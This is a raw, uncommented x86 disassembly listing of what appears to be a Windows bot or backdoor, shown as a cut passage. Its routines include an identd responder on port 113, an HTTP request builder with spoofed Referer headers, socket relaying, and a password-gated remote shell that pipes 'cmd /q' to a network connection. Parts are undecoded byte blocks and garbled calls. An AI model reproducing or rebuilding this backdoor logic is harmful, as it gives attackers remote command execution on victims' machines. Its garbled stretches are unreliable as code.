lea eax, [ebp+var_404] push edi push eax push ebx call near ptr 271129Ah nop push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_410A9D call dword_4CB968 cmp eax, 2733h jnz short loc_410AA2 xor eax, eax loc_410A9D: ; CODE XREF: sub_4109F1+9Bj sub [ebp+arg_4], eax jnz short loc_410A36 loc_410AA2: ; CODE XREF: sub_4109F1+43j ; sub_4109F1+A8j push ebx nop call near ptr 2670770h loc_410AA9: ; CODE XREF: sub_4109F1+30j pop edi pop esi pop ebx leave retn sub_4109F1 endp ; =============== S U B R O U T I N E ======================================= sub_410AAE proc near ; CODE XREF: sub_4100B4+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41B9C0 test eax, eax pop ecx jbe short loc_410AD7 loc_410AC1: ; CODE XREF: sub_410AAE+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_410ACB mov byte ptr [esi+edi], 2Fh loc_410ACB: ; CODE XREF: sub_410AAE+17j push edi inc esi call sub_41B9C0 cmp esi, eax pop ecx jb short loc_410AC1 loc_410AD7: ; CODE XREF: sub_410AAE+11j mov eax, edi pop edi pop esi retn sub_410AAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410ADC proc near ; CODE XREF: sub_401ACD+51B7p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CB944 push 6 push 1 push 2 call dword_4CBA54 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4CB9D4 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40A8F0 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CB97C cmp eax, 0FFFFFFFFh jz short loc_410BB9 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410B55 mov eax, offset byte_43DB88 loc_410B55: ; CODE XREF: sub_410ADC+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41C360 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4CBA24 push esi lea eax, [ebp+var_110] push edi push eax call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4CB9EC pop esi loc_410BB9: ; CODE XREF: sub_410ADC+6Bj push ebx call dword_4CBA6C call dword_4CB92C lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41C266 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_410BF9 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_410BF9: ; CODE XREF: sub_410ADC+102j pop edi pop ebx leave retn sub_410ADC endp ; --------------------------------------------------------------------------- loc_410BFD: ; DATA XREF: ___:00401666o ; sub_401ACD+438Bo push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_41BF70 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_4CB9D4 push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4CBA54 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410D61 mov eax, [ebp+8] push edi imul eax, 234h mov dword_43E91C[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_4CBA00 cmp eax, 0FFFFFFFFh jz loc_410D61 push 5 push ebx call dword_4CB9FC cmp eax, 0FFFFFFFFh jz loc_410D61 mov [ebp-0Ch], edi mov edi, 200h loc_410C88: ; CODE XREF: ___:00410CE7j ; ___:00410D4Aj ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4CBA68 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_410D5C movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4CBA60 push eax lea eax, [ebp-238h] push offset dword_435164 push eax call sub_41C266 lea eax, [ebp-238h] push eax call sub_415D38 add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_4CB9EC cmp eax, 0FFFFFFFFh jz short loc_410C88 lea eax, [ebp-238h] push esi push eax call sub_4184CC push 0Ch lea eax, [ebp-38h] push esi push eax call sub_41BF70 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_40AE84 add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp-238h] push esi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_4CBA24 cmp eax, 0FFFFFFFFh jz loc_410C88 mov dword ptr [ebp-8], 1 jmp loc_410C88 ; --------------------------------------------------------------------------- loc_410D5C: ; CODE XREF: ___:00410C9Dj cmp [ebp-8], esi jnz short loc_410D88 loc_410D61: ; CODE XREF: ___:00410C44j ; ___:00410C68j ... call dword_4CB968 push eax lea eax, [ebp-238h] push offset dword_435120 push eax call sub_41C266 lea eax, [ebp-238h] push eax call sub_415D38 add esp, 10h loc_410D88: ; CODE XREF: ___:00410D5Fj push ebx call dword_4CBA6C push dword ptr [ebp-4] call dword_4CBA6C push dword ptr [ebp+8] call sub_40B6D6 pop ecx push esi nop call near ptr 26F0A80h pop edi pop esi pop ebx loc_410DAB: ; DATA XREF: sub_401ACD+605Do push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-150h] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp-14h] push esi push eax call sub_41BF70 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-44h] call dword_4CB9D4 push 6 push 1 push 2 mov [ebp-12h], ax mov [ebp-10h], esi mov [ebp-4], edi call dword_4CBA54 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_410F17 mov ecx, [ebp-40h] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43E91C[ecx], eax call dword_4CB8E4 lea eax, [ebp-14h] push edi push eax push dword ptr [ebp+8] call dword_4CBA00 test eax, eax jnz loc_410F17 push 0Ah push dword ptr [ebp+8] call dword_4CB9FC test eax, eax jnz loc_410F17 loc_410E5B: ; CODE XREF: ___:00410E71j lea eax, [ebp-4] push eax lea eax, [ebp-28h] push eax push dword ptr [ebp+8] call dword_4CBA68 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_410E5B movzx eax, word ptr [ebp-26h] push dword ptr [ebp-40h] mov [ebp-14Ch], edi mov [ebp-30h], esi push eax push dword ptr [ebp-24h] call dword_4CBA60 push eax lea eax, [ebp-350h] push offset unk_4351CC push eax call sub_41C266 push edi lea eax, [ebp-350h] push 18h push eax call sub_40B3BA mov [ebp-3Ch], eax imul eax, 234h mov ecx, [ebp-40h] add esp, 20h mov dword_43E914[eax], ecx lea eax, [ebp-18h] push eax lea eax, [ebp-150h] push esi push eax push offset loc_410F3C push esi push esi nop ; --------------------------------------------------------------------------- db 0E8h dd 227F124h, 69C44D8Bh, 234C9h, 89C63B00h, 43E92481h, 39137400h dd 850FD075h, 0FFFFFF63h, 0F9E8326Ah, 900226FFh, 0E890EDEBh dd 227F963h, 51906850h, 99E80043h, 5900004Eh ; --------------------------------------------------------------------------- pop ecx jmp short loc_410F1A ; --------------------------------------------------------------------------- loc_410F17: ; CODE XREF: ___:00410E0Ej ; ___:00410E42j ... mov edi, [ebp+8] loc_410F1A: ; CODE XREF: ___:00410F15j push edi call dword_4CBA6C push dword ptr [ebp+8] call dword_4CBA6C push dword ptr [ebp-40h] call sub_40B6D6 pop ecx push esi nop call near ptr 26F0A80h pop edi pop esi loc_410F3C: ; DATA XREF: ___:00410ECFo push ebp mov ebp, esp mov eax, 1344h call sub_41C500 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4CBA54 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_4110F2 push 10h lea eax, [ebp-18h] push edi push eax call sub_41BF70 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_4CB9D4 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_4CBA14 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_410FCC lea eax, [ebp-13Ch] push eax call dword_4CBA58 jmp short loc_410FDA ; --------------------------------------------------------------------------- loc_410FCC: ; CODE XREF: ___:00410FBBj push 2 lea eax, [ebp-8] push 4 push eax call dword_4CB98C loc_410FDA: ; CODE XREF: ___:00410FCAj cmp eax, edi jz loc_4110F2 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_4CB97C cmp eax, 0FFFFFFFFh jz loc_4110F2 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4CBA60 push eax lea eax, [ebp-344h] push offset unk_435254 push eax call sub_41C266 push esi lea eax, [ebp-344h] push 18h push eax call sub_40B3BA imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_43E91C[ebx] mov dword_43E914[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43E920[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_411123 push edi push edi nop call near ptr 2690000h mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_43E924[ecx], eax jz short loc_4110DF loc_41108C: ; CODE XREF: ___:00411099j cmp [ebp-20h], edi jnz short loc_41109B push 32h call near ptr 2680EF8h nop jmp short loc_41108C ; --------------------------------------------------------------------------- loc_41109B: ; CODE XREF: ___:0041108Fj mov ebx, 1000h loc_4110A0: ; CODE XREF: ___:004110DBj push ebx lea eax, [ebp-1344h] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_4CB9EC cmp eax, edi jle short loc_4110F2 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_4110A0 jmp short loc_4110F2 ; --------------------------------------------------------------------------- loc_4110DF: ; CODE XREF: ___:0041108Aj nop call near ptr 269086Bh push eax push offset unk_435214 call sub_415DAC pop ecx pop ecx loc_4110F2: ; CODE XREF: ___:00410F80j ; ___:00410FDCj ... mov eax, [ebp-4] imul eax, 234h push dword_43E91C[eax] call dword_4CBA6C push dword ptr [ebp+8] call dword_4CBA6C push dword ptr [ebp-4] call sub_40B6D6 pop ecx push edi call near ptr 26F0A80h nop pop edi pop esi pop ebx loc_411123: ; DATA XREF: ___:0041106Co push ebp mov ebp, esp mov eax, 1128h call sub_41C500 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_41115A: ; CODE XREF: ___:0041119Fj push edi lea eax, [ebp-1128h] push 0 push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_43E920[esi] call dword_4CB9EC test eax, eax jle short loc_4111A1 push 0 push eax lea eax, [ebp-1128h] push eax push dword_43E91C[esi] call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_41115A loc_4111A1: ; CODE XREF: ___:00411184j push dword_43E920[esi] call dword_4CBA6C push dword ptr [ebp-14h] call sub_40B6D6 pop ecx push 0 ; --------------------------------------------------------------------------- dd 2DF8C3E8h, 5E5F9002h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_43E91C[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_4CB9BC test eax, eax jnz short loc_411244 push dword ptr [esi] call dword_4CBA6C push dword ptr [ebp+8] call sub_40B6D6 pop ecx push edi nop call near ptr 26F0A80h loc_411244: ; CODE XREF: ___:0041122Aj push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_4CB9EC lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_4113C5 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_4113C5 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_4113C5 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_4CB928 test eax, eax jz short loc_4112BD call dword_4CB968 push eax push offset unk_43532C call sub_415DAC push dword ptr [ebp+8] call sub_40B6D6 add esp, 0Ch push edi nop call near ptr 26F0A80h loc_4112BD: ; CODE XREF: ___:00411298j push 2 lea eax, [ebp-18h] push 4 push eax call dword_4CB98C cmp eax, edi jnz short loc_4112E7 push dword ptr [ebp-18h] call dword_4CBA60 push eax lea eax, [ebp-0B0h] push eax call sub_41C266 jmp short loc_4112F5 ; --------------------------------------------------------------------------- loc_4112E7: ; CODE XREF: ___:004112CDj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41C890 loc_4112F5: ; CODE XREF: ___:004112E5j pop ecx pop ecx push edi push ebx push offset byte_43DB88 push dword ptr [esi] call dword_4CBA24 cmp dword_4CE72C, edi jnz short loc_411357 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_41141F add esp, 10h test eax, eax jnz short loc_411357 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CBA24 push dword ptr [esi] call dword_4CBA6C push dword ptr [ebp+8] call sub_40B6D6 pop ecx push edi nop call near ptr 26F0A80h loc_411357: ; CODE XREF: ___:0041130Cj ; ___:0041132Dj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_4352F0 call sub_415DAC push dword ptr [ebp+8] call sub_4116D6 add esp, 10h test eax, eax jnz short loc_41139E call near ptr 269086Bh nop push eax push offset unk_4352C4 call sub_415DAC push dword ptr [ebp+8] call sub_40B6D6 add esp, 0Ch push ebx call near ptr 26F0A80h nop loc_41139E: ; CODE XREF: ___:00411379j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_435298 call sub_415DAC push dword ptr [ebp+8] call sub_40B6D6 add esp, 10h push edi nop call near ptr 26F0A80h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4113C5 proc near ; CODE XREF: ___:0041125Ap ; ___:00411267p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CB9EC cmp eax, 1 jnz short loc_411415 mov esi, [ebp+arg_4] loc_4113E3: ; CODE XREF: sub_4113C5+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_41140A test al, al jz short loc_411419 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CB9EC cmp eax, 1 jz short loc_4113E3 jmp short loc_411415 ; --------------------------------------------------------------------------- loc_41140A: ; CODE XREF: sub_4113C5+27j push offset unk_435358 call sub_415DAC pop ecx loc_411415: ; CODE XREF: sub_4113C5+19j ; sub_4113C5+43j xor eax, eax jmp short loc_41141C ; --------------------------------------------------------------------------- loc_411419: ; CODE XREF: sub_4113C5+2Bj push 1 pop eax loc_41141C: ; CODE XREF: sub_4113C5+52j pop esi leave retn sub_4113C5 endp ; =============== S U B R O U T I N E ======================================= sub_41141F proc near ; CODE XREF: ___:00411323p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_41144A push [esp+arg_4] push [esp+4+arg_0] push offset dword_435384 call sub_415DAC add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_41144A: ; CODE XREF: sub_41141F+11j push 1 pop eax retn sub_41141F endp ; --------------------------------------------------------------------------- word_41144E dw 8B55h ; DATA XREF: sub_401ACD+237Ao dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah, 0ECBD8DF0h dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch dd 2026850h, 15FF0000h, 4CB944h, 0C63BF633h, 68501D74h dd 4354F4h, 4917E8h, 0B475FF00h, 0FFA239E8h, 0CC483FFh dd 0F5DAE857h, 5790022Dh, 4116CC68h, 96E89000h, 850238F6h dd 902975C0h, 27F3AEE8h, 0B0685002h, 0E8004354h, 48E4h dd 15FF5959h, 4CB92Ch, 0E8B475FFh, 0FFFFA1FEh, 0E8905759h dd 22DF5A0h, 8D106A53h, 5056E045h, 0AA83E8h, 0CC48300h dd 0E045C766h, 75FF0002h, 0D415FFB0h, 6A004CB9h, 26A5706h dd 0E2458966h, 0FFE47589h, 4CBA5415h, 83D88B00h, 840FFFFBh dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E91C98h, 0E0458D00h dd 15FF5350h, 4CBA00h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh dd 4CB9FCh, 850FC085h, 103h, 43547468h, 0F045C700h, 0Ch dd 89F47589h, 0CDE8F875h, 59000047h, 8D087D89h, 45C7FC45h dd 10FCh, 458D5000h, 0FF5350CCh, 4CBA6815h, 83F88B00h dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h dd 4CB9B415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h dd 0D075FF50h, 0BA6015FFh, 8D50004Ch, 0FFFBEC85h, 543068FFh dd 0E8500043h, 0AC96h, 0FBEC858Dh, 0E850FFFFh, 475Ch, 0EC858D57h dd 6AFFFFFBh, 0CFE85009h, 89FFFF9Dh, 0C069B845h, 234h dd 83B44D8Bh, 888924C4h, 43E914h, 50DC458Dh, 0FDEC858Dh dd 5056FFFFh, 4111C068h, 0F0458D00h, 0E8905056h, 227E9E4h dd 69B84D8Bh, 234C9h, 89C63B00h, 43E92481h, 39137400h dd 850FC875h, 0FFFFFF37h, 0B9E8326Ah, 900226F8h, 0E890EDEBh dd 227F223h, 53F46850h, 59E80043h, 59000047h, 8B03EB59h dd 15FF087Dh, 4CB968h, 0EC858D50h, 68FFFFFBh, 4353BCh dd 0ABF4E850h, 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h dd 0C075FFFFh, 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0D2E8FFFFh dd 83FFFF81h, 858D14C4h, 0FFFFFBECh, 4692E850h, 57590000h dd 0BA6C15FFh, 0FF53004Ch, 4CBA6C15h, 2C15FF00h, 0FF004CB9h dd 13E8B475h, 59FFFFA0h, 0B5E89056h, 5B022DF3h, 4439C033h dd 940F0424h db 0C0h, 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4116D6 proc near ; CODE XREF: ___:0041136Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_411827 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43E91C[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_427084 pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4119F9 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_411741 nop call near ptr 269086Bh push eax push offset unk_435554 call sub_415DAC or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_41177B ; --------------------------------------------------------------------------- loc_411741: ; CODE XREF: sub_4116D6+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_411AAB lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_411782 nop call near ptr 269086Bh push eax push offset unk_435554 call sub_415DAC pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] nop call near ptr 26A0846h loc_41177B: ; CODE XREF: sub_4116D6+69j xor eax, eax jmp loc_411822 ; --------------------------------------------------------------------------- loc_411782: ; CODE XREF: sub_4116D6+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 nop call near ptr 27A0E49h sub eax, ebx jz short loc_4117DC dec eax jz short loc_4117D6 dec eax jz short loc_4117C2 call near ptr 269086Bh nop push eax push offset unk_435520 call sub_415DAC pop ecx pop ecx jmp short loc_4117F1 ; --------------------------------------------------------------------------- loc_4117C2: ; CODE XREF: sub_4116D6+D5j mov edi, dword_4270B4 push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_4117F1 ; --------------------------------------------------------------------------- loc_4117D6: ; CODE XREF: sub_4116D6+D2j push ebx push dword ptr [esi+10h] jmp short loc_4117E0 ; --------------------------------------------------------------------------- loc_4117DC: ; CODE XREF: sub_4116D6+CFj push ebx push dword ptr [esi+14h] loc_4117E0: ; CODE XREF: sub_4116D6+104j call near ptr 26A0846h nop push 1 push dword ptr [esi+8] call near ptr 2730250h nop loc_4117F1: ; CODE XREF: sub_4116D6+EAj ; sub_4116D6+FEj push dword ptr [esi+10h] mov edi, dword_427070 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4CBA6C push esi call sub_41BA91 pop ecx push 1 pop eax loc_411822: ; CODE XREF: sub_4116D6+A7j pop edi pop esi pop ebx leave retn sub_4116D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411827 proc near ; CODE XREF: sub_4116D6+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41BEB5 mov esi, eax pop ecx cmp esi, edi jz loc_411911 mov ebx, dword_427108 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_427070 test eax, eax jnz short loc_41188A nop call near ptr 269086Bh push eax push offset unk_435604 jmp short loc_4118AA ; --------------------------------------------------------------------------- loc_41188A: ; CODE XREF: sub_411827+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_4118B2 call near ptr 269086Bh nop push eax push offset unk_4355C4 loc_4118AA: ; CODE XREF: sub_411827+61j call sub_415DAC pop ecx jmp short loc_4118E0 ; --------------------------------------------------------------------------- loc_4118B2: ; CODE XREF: sub_411827+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_411920 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_411915 push offset unk_43559C call sub_415D38 loc_4118E0: ; CODE XREF: sub_411827+89j cmp [ebp+var_4], 0 pop ecx jz short loc_4118EC push [ebp+var_4] call edi loc_4118EC: ; CODE XREF: sub_411827+BEj cmp [ebp+var_8], 0 jz short loc_4118F7 push [ebp+var_8] call edi loc_4118F7: ; CODE XREF: sub_411827+C9j mov eax, [esi] test eax, eax jz short loc_411900 push eax call edi loc_411900: ; CODE XREF: sub_411827+D4j mov eax, [esi+4] test eax, eax jz short loc_41190A push eax call edi loc_41190A: ; CODE XREF: sub_411827+DEj push esi call sub_41BA91 pop ecx loc_411911: ; CODE XREF: sub_411827+1Dj xor eax, eax jmp short loc_41191B ; --------------------------------------------------------------------------- loc_411915: ; CODE XREF: sub_411827+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_41191B: ; CODE XREF: sub_411827+ECj pop edi pop esi pop ebx leave retn sub_411827 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411920 proc near ; CODE XREF: sub_411827+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41BF70 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41BF70 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_427104 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax call near ptr 2730320h nop lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi nop call near ptr 26709E4h test eax, eax jz short loc_4119DC mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43E918[eax], ecx call near ptr 2670770h nop jmp short loc_4119F2 ; --------------------------------------------------------------------------- loc_4119DC: ; CODE XREF: sub_411920+9Aj nop call near ptr 269086Bh push eax push offset unk_435644 call sub_415DAC mov esi, [ebp+var_4] pop ecx pop ecx loc_4119F2: ; CODE XREF: sub_411920+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_411920 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4119F9 proc near ; DATA XREF: sub_4116D6+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270EC push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411A22: ; CODE XREF: sub_4119F9+8Fj call ebx test eax, eax jz short loc_411A8A xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_411A5D loc_411A33: ; CODE XREF: sub_4119F9+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_411A4D cmp dl, 0Dh jz short loc_411A4D mov [ebp+eax+var_1B0], 0Dh inc eax loc_411A4D: ; CODE XREF: sub_4119F9+44j ; sub_4119F9+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411A33 loc_411A5D: ; CODE XREF: sub_4119F9+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CBA24 test eax, eax jle short loc_411A8A lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short 